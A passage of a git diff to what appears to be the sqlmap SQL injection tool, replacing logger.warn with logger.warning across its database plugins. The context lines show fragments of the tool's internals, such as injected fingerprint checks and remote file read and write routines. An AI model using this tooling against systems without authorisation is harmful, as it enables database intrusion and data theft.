b/plugins/dbms/cratedb/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -89,6 +89,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index 3b9e0677363..1a88581f3cc 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -11,22 +11,22 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Cubrid it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on Cubrid it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Cubrid it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index c551580e314..14e34215988 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -89,6 +89,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index cd24a6d02c2..c5bd233fc5d 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -11,12 +11,12 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 4b5e114d6a9..5f53ff19a19 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -101,7 +101,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -115,7 +115,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index fe7a448f0b2..8bddb5472ba 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -12,31 +12,31 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Apache Derby it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPrivileges(self, *args, **kwargs): warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Apache Derby it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Apache Derby it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getBanner(self): warnMsg = "on Apache Derby it is not possible to enumerate the banner" diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 00fb5d27d2c..c9cb3c0bc9f 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -89,6 +89,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index a791d37dc2f..2f3e0aff557 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -11,74 +11,74 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on eXtremeDB it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on eXtremeDB it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on eXtremeDB it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on eXtremeDB it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on eXtremeDB it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on eXtremeDB it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on eXtremeDB it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on eXtremeDB search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index 9ad66b28729..3ac51e2f47e 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -76,7 +76,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -85,7 +85,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index cfe5e3a4f62..6da166bb38d 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -11,28 +11,28 @@ class Enumeration(GenericEnumeration): def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Firebird it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 92deec5cfbf..2b0b4d46aa1 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -126,7 +126,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -146,7 +146,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index e2377dd4771..0542df4278b 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -11,22 +11,22 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on FrontBase it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getPrivileges(self, *args, **kwargs): warnMsg = "on FrontBase it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on FrontBase it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index 96578eb4004..5f142b9820e 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -75,7 +75,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -84,6 +84,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index e58bf438663..81fb1a52a3c 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -31,25 +31,25 @@ def getBanner(self): def getPrivileges(self, *args, **kwargs): warnMsg = "on H2 it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): warnMsg = "on H2 it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on H2 it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 80cf4a960da..c1403e592b4 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -97,7 +97,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: @@ -108,10 +108,10 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 30dab56ce9a..3692153ffd4 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -31,19 +31,19 @@ def getBanner(self): def getPrivileges(self, *args, **kwargs): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA def getStatements(self): warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 9e365af3420..abe6592ba60 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -41,7 +41,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 10976a6b0e3..348e5ba27c5 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -103,14 +103,14 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) if result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -134,7 +134,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) @@ -143,7 +143,7 @@ def checkDbms(self): def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def checkDbmsOs(self, detailed=False): if Backend.getOs(): diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 2af9d3403af..8e2d938c237 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -11,28 +11,28 @@ class Enumeration(GenericEnumeration): def searchDb(self): warnMsg = "on Informix searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Informix searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Informix searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Informix search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Informix it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index e2d6d36afa4..843dc05325a 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -106,6 +106,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index d638cd0f496..f6dcf20428a 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -37,7 +37,7 @@ def __init__(self): def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} @@ -108,7 +108,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -226,20 +226,20 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod def getPrivileges(self, *args, **kwargs): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def search(self): warnMsg = "on SAP MaxDB search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 7af228a4de3..5dcea6a48dd 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -34,7 +34,7 @@ def _versionCheck(self): if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -112,7 +112,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -123,7 +123,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index 50ef81db7f2..a4ddb06ca6e 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -11,74 +11,74 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Mckoi it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Mckoi it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Mckoi it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Mckoi it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Mckoi it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Mckoi it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Mckoi it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Mckoi it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Mckoi it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Mckoi search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Mckoi it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index eaf7d6abcd2..6bdace64714 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -76,7 +76,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -85,7 +85,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index faf572cae09..b27f593aa97 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -11,22 +11,22 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on MimerSQL it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on MimerSQL it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on MimerSQL it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 980e8feb2d6..6e367a1ae13 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -89,6 +89,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index ac0b92e49d8..570785e237e 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -11,28 +11,28 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on MonetDB it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPrivileges(self, *args, **kwargs): warnMsg = "on MonetDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on MonetDB it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on MonetDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 9aa31b8752a..85d0a1591c6 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -78,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -89,6 +89,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index df1499fc6c2..6654fe67b25 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -39,7 +39,7 @@ def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -140,7 +140,7 @@ def getTables(self): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue tables = [] @@ -159,7 +159,7 @@ def getTables(self): else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" @@ -248,7 +248,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -269,7 +269,7 @@ def searchTable(self): if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) @@ -407,7 +407,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 3686c177e41..d96e9408c95 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -117,7 +117,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -172,7 +172,7 @@ def checkDbmsOs(self, detailed=False): warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) - logger.warn(warnMsg) + logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index f35c3f66863..8dfb5fb7cc5 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -68,7 +68,7 @@ def stackedReadFile(self, remoteFile): if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if not kb.bruteMode: warnMsg += ", going to fall-back to simpler UNION technique" - logger.warn(warnMsg) + logger.warning(warnMsg) result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) @@ -100,7 +100,7 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) @@ -129,7 +129,7 @@ def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=F warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 85923e7de3b..c9aae79c53e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -37,7 +37,7 @@ def _commentCheck(self): if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -192,7 +192,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -297,7 +297,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 402a681cc99..eac989b5978 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -124,7 +124,7 @@ def getRoles(self, query2=False): warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user @@ -149,7 +149,7 @@ def getRoles(self, query2=False): else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 29ac87928a0..5b9061cb5e1 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -90,7 +90,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -116,7 +116,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index c215073259e..2b9b7782991 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -46,7 +46,7 @@ def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError as ex: - logger.warn(getSafeExString(ex)) + logger.warning(getSafeExString(ex)) return None def execute(self, query): @@ -56,7 +56,7 @@ def execute(self, query): self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: - logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise 